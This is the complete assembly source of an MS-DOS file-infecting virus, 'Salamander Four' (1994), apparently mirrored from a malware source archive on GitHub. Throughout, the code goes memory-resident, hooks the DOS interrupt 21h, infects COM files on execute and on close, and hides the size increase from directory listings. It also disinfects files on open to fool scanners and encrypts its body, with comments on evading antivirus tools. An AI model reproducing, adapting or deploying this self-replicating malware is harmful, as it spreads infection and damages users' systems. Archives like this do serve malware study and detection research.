13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-25 16:38:38 +00:00
vxug-MalwareSourceCode/MSDOS/S-Index/Virus.MSDOS.Unknown.s4.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

582 lines
18 KiB
NASM

.model tiny
.code
org 100h
resid equ 3099h
fileid equ 's'
time_stamp equ 10001b ;stealth marker...
host:
jmp short entry
db 90h,fileid
vstart:
entry:
call $+3
gd:
mov si,sp
mov bp, word ptr [si]
sub bp,offset gd
lea si, [bp+offset vstart]
call decrypt ;this call will probably trigger fprot!
;but tbav doesn't note shit...
encrypted_start:
mov ax,resid
int 21h
cmp ax,bx
je alreadyres ;check if already resident
gores:
mov ax,ds ;ds=psp
dec ax
mov ds,ax ;ds=mcb
xor di,di
cmp byte ptr ds:[di],'Z' ;end of chain ?
jne nomem
sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory
sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and
mov ax, word ptr ds:[di+12h] ;sub
mov es,ax ;es=virus segment...
push cs
pop ds
copy2mem:
cld
lea si,[bp+offset vstart]
xor di,di
mov cx,(vend-vstart)/2+1
rep movsw ;copy virus to
;allocated memory
hook21h:
xor ax,ax
mov ds,ax ;ds points to int-table
push ds
lds ax,ds:[21h*4]
mov word ptr es:[o21ho-vstart],ax
mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector
pop ds ;ds=0
mov word ptr ds:[21h*4],0
mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem...
mov byte ptr ds:[1e0h],0eah ;jmp dword ptr
mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart
mov word ptr ds:[1e3h],es ;this makes i21h's
;vector
;point to 0eh:0h and
;thats were we placed
;a jmp far to
;es:(n21h-vstart) ;))
nomem:
alreadyres:
return_com:
inc sp ;this is to restore the sp to 0fffeh, done b'cos
inc sp ;of the delta offset calc in the begining...
;don't know if it's nessesary thou...
push cs cs ;cs=ds=es
pop es ds
mov di,100h
push di
lea si,[bp+offset hbytes]
movsw
movsw
ret ; jmp 100h to start host
;-----------------------------------------------------------------------------
; This is our new int 24h handler. ie. our new critical error handler
; it'll assume no error
n24h:
mov al,0
iret
;-----------------------------------------------------------------------------
;new int 21h handler
; TU>
; This is totally fucked up, he could have used
; direct-jumps for example the stealth-routines,
; but since this is an early beta, he didn't ;).
; Thrust me, this was fixed, too.
n21h:
cmp ax,resid
jne exec
mov bx,resid
iret ;so virus wont load resident twice+
exec:
cmp ax,4b00h
jne cinfect
jmp infect
cinfect:
cmp ah,3eh ;close ?
jne odisinf
jmp close_infect ;infect!
odisinf:
cmp ah,3dh
jne ext_open
jmp open_disinfect ;if it's a file open, then disinfect!
ext_open:
cmp ax,6c00h
jne _11
jmp extended_open ;if it's a extended open (F-prot for example...)
_11:
cmp ah,11h
jne _12
jmp short fcb_stealth ;stealth during a dos-dir, find first via handles
_12:
cmp ah,12h
jne _4e
jmp short fcb_stealth ;stealth during a dos-dir, find next
_4e:
cmp ah,4eh
jne _4f
jmp short handle_stealth ;stealth during normal find first
_4f:
cmp ah,4fh
jne o21h
jmp short handle_stealth ;stealth during normal find next
o21h: db 0eah
o21ho dw 0
o21hs dw 0 ;jmp far o21hs:o21ho
ret ;used for calls to old int 21h...
;-----------------------------------------------------------------------------
;This routine will hide the size-increase of an infected .com when using
; 11h/12h or 4eh/4fh
; TU>
; I believe these two routines were put togheter into one in a latter
; version.. Sorry ;).
fcb_stealth: ;11h/12h
pushf
push cs
call o21h ;fake a call to old int handler
or al,al
jnz stealth_error
pushf
push ax bx es ;dont destroy
mov ah,51h
int 21h ;get psp addr.
mov es,bx
cmp bx,es:[16h] ;dos calling?
jne dont_stealth
mov bx,dx
mov al,[bx] ;current drive, if al=ffh then ext.fcb
push ax
mov ah,2Fh
int 21h ;get dta addr. es:bx
pop ax
inc al ;if al=ffh => al=00
jnz regular_fcb ;if al=00 then it's an extended fcb
add bx,7 ;skip dos-reserved and attribs...
regular_fcb:
add bx,3 ;the byte diffrence between the offset
;to the filesize using fcb/handles
mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;)
jmp short stealth_it ;hide the size
handle_stealth: ;4e/4f
pushf
push cs
call o21h ;fake int call
jc stealth_error ;there was an error so don't stealth
; (such as no files to find.. )
pushf
push ax bx es ;save
mov ah,2fh
int 21h ;get dta addr., es:bx points to it...
mov ax,es:[bx+16h] ;get time stamp
stealth_it:
and al,00011111b ;kill all but secs...
xor al,time_stamp ;xor with our marker
jnz dont_stealth ;not ours :(
cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3
jb dont_stealth ;too small to be us...
cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3
ja dont_stealth ;too large for us...>64k
sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize
sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *)
dont_stealth:
pop es bx ax
popf
stealth_error: ;if there was an error during int call
stealth_done:
retf 2
;-----------------------------------------------------------------------------
;This is our infection routine, ds:dx points to filename upon entry
infect:
push ax bx cx dx di si ds es ;don't destroy regs/segs
mov byte ptr cs:(cflag-vstart),0 ;no closeinfection...
xchg_i24h:
mov ax,3524h
int 21h ;get int 24h's vector in es:bx
push es bx ;save es:bx so we can restore the handler...
push ds dx cs ;save ds:dx=filename
pop ds ;ds=cs
mov ah,25h
mov dx,(n24h-vstart)
int 21h ;set int 24h's vector to our handler
pop dx ds ;ds:dx=filename
mov ax,4300h
int 21h
push cx ;get and save attribs
mov ax,4301h
push ax ds dx
xor cx,cx
int 21h ;clear attribs
call openfile_rw ;open file r/w
infect_close:
push cs cs
pop ds es ;ds=cs=es
mov ah,3fh
mov dx,(hbytes-vstart)
mov cx,4
int 21h ;read first 3 bytes
cmp byte ptr ds:[hbytes-vstart],'M'
je jmpclose ; *.exe
cmp byte ptr ds:[hbytes-vstart],'Z'
jne @okey ; *.exe
jmpclose:
jmp close
@okey:
cmp byte ptr ds:[hbytes-vstart+3],fileid
je jmpclose ; infected by us already
call get_name ;get filename via sft's, in es:di
cmp word ptr es:[di],'OC' ;command.com
je jmpclose ;then close the file...
mov ax,5700h
int 21h
push cx dx ;read files time/date and save them
Call Go_eof ;go to end of file... ax=filesize on
;return
cmp ax,1024
jb restore
cmp ax,63000
ja restore ;too small/large ?
sub ax,3 ;jmp entry
mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc
get_encval:
mov ah,2ch
int 21h
or dl,dl
jz get_encval ;get new value if enc_val=0
mov word ptr ds:[encval-vstart],dx ;save it.
copy2buf:
cld
mov ax,8d00h
mov es,ax ;es=8d00h
xor si,si
xor di,di
mov cx,(vend-vstart)/2+1
rep movsw ;copy virus to encbuf
enc_buf:
mov si,(encrypted_start-vstart)
call encrypt ;encrypt es:si
write:
push es
pop ds ;es=ds=8d00h
mov ah,40h
mov cx,(vend-vstart)
cwd ;write from 8d00h:0000h
int 21h ;write encrypted virus to file
push cs
pop ds ;cs=ds
xor ax,ax
call move_fp ;go to begining of file
mov ah,40h
mov cx,4
mov dx,(nbytes-vstart)
int 21h ;write jmp to virus entry
restore:
mov ax,5701h
pop dx cx
and cl,11100000b ;zero sec's
or cl,time_stamp ;mark with our infection marker
int 21h ;restored files time/date stamp
close:
cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on
je goon2 ;close don't close file...
;and don't restore attribs
mov ah,3eh
int 21h
pop dx ds ax cx ;restore ax=4301h, ds:dx=filename
int 21h
restore_i24h:
mov ax,2524h
pop dx ds ;ds:dx points to old int 24h
int 21h ;handler
goon2:
mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore
dah: pop es ds si di dx cx bx ax ;restore all segs/regs
duh: jmp o21h ;do old int 21h
;-----------------------------------------------------------------------------
close_infect:
cmp bx, 4 ;don't close AUX/NULL/CON...
jbe duh ;jmp to jmp to org 21h ;)
push ax bx cx dx di si ds es ;don't destroy regs/segs
call get_name
add di,8 ;es:di file ext
cmp word ptr es:[di],'OC'
jne noclose
cmp word ptr es:[di+2],'M'
jne noclose
mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode
xor ax,ax
call move_fp ;go to begining of file
mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection...
jmp infect_close
noclose:
jmp short dah
pop es ds si di dx cx bx ax ;restore all segs/regs
jmp o21h
;-----------------------------------------------------------------------------
;This routine will disinfect an infected .com file on open!
extended_open:
cmp dx,1
je yessir
jmp o21h ;don't do anything...
yessir:
mov ah,3dh
mov al,bl
mov dx,si ;filename ds:si=ds:dx...
mov byte ptr cs:(oflag-vstart),1
open_disinfect: ;ds:dx=filename...
push ax bx cx dx di si ds es ;save all regs/segs...
push ds
pop es ;ds=es
mov cx,64 ;path+fname= max 65
mov di,dx ;offs to filename
mov al,'.' ;look for '.'
repne scasb ;repeat scansingel byte until cx=0
;offset to '.'+1 in di
cmp word ptr ds:[di],'OC'
je smallc
cmp word ptr ds:[di],'oc'
jne nocom
smallc:
cmp byte ptr ds:[di+2],'M'
je openfile
cmp byte ptr ds:[di+2],'m'
je openfile ;check if it's a com or COM
nocom:
jmp no_opendis
openfile:
call openfile_rw ;open file r/w
push cs cs
pop ds es ;cs=ds=es
mov ax,5700h
int 21h
push cx dx ;save time/date
read_f4:
mov ah,3fh
mov cx,4
mov dx,(hbytes-vstart) ;use hbytes it won't be at first...
int 21h ;read first 4 bytes...
chk_markers:
cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker
jne close_dis
cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp.
jne close_dis ;if itsn't it can't be us...
call go_eof ;go to end of file,
;ax=fsize on return
mov dx,ax ;store fsize in dx too
sub ax,(vend-entry+3)
cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to
jne close_dis ;our supposed entry point
push dx ;push fsize
xor ax,ax
sub dx,(vend-hbytes) ;goto hbytes offs. in file
call go_to
mov ah,3fh
mov cx,4
mov dx,(hbytes-vstart)
int 21h ;store bytes read in memory
xor ax,ax
call move_fp ;go tof
mov ah,40h
mov dx,(hbytes-vstart)
mov cx,4
int 21h
pop dx
sub dx,(vend-vstart) ;dx=size of original file
xor ax,ax
call go_to ;go to bof+cx:dx ie
;fsize-vsize
mov ah,40h
xor cx,cx
int 21h ;trunc file....
close_dis:
mov ax,5701h
pop dx cx
int 21h ;restore time/date
mov ah,3eh
pushf
push cs
call o21h ;close file
no_opendis: ;the file was never opened
pop es ds si di dx cx bx ax ;restore all segs/regs
cmp byte ptr cs:(oflag-vstart),1
jne @dduh
mov ax,6c00h ;restore ax
mov dx,1 ;restore dx after
;disinfecting...
mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open...
@dduh: jmp o21h
;-----------------------------------------------------------------------------
get_name:
push bx
mov ax,1220h ;get jft for handle at es:di
int 2fh
mov ax,1216h ;get system file table
mov bl,byte ptr es:[di] ;for handle index in bx
int 2fh
pop bx
add di,20h ;es:di+20h points to file fname
ret ;return
;-----------------------------------------------------------------------------
go_eof:
mov al,2
move_fp:
cwd
go_to:
xor cx,cx
mov ah,42h
int 21h
ret
;-----------------------------------------------------------------------------
;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin
;ds:dx->filename
Openfile_rw:
mov ax,3d02h
pushf
push cs
call o21h
xchg bx,ax
ret ;return to caller with filehandle in bx...
;-----------------------------------------------------------------------------
;DATA AREA
oflag db 0 ;extended open marker
cflag db 0 ;close infection marker
tag db '[- Salamander Four -] (c) by Blonde in 1994'
nbytes db 0e9h,0,0,fileid ;newbytes
;-----------------------------------------------------------------------------
encrypt_end:
hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect
;-----------------------------------------------------------------------------
encrypt:decrypt:
mov cx,(encrypt_end-encrypted_start)/2
xorl:
db 26h
db 81h,34h
encval dw 0 ;xor es:[si],encval
inc si
inc si
loop xorl
ret
vend: ;end of virus code excluding heap
hstart:
hend: ;end of virus code including heap
end host
================================================================================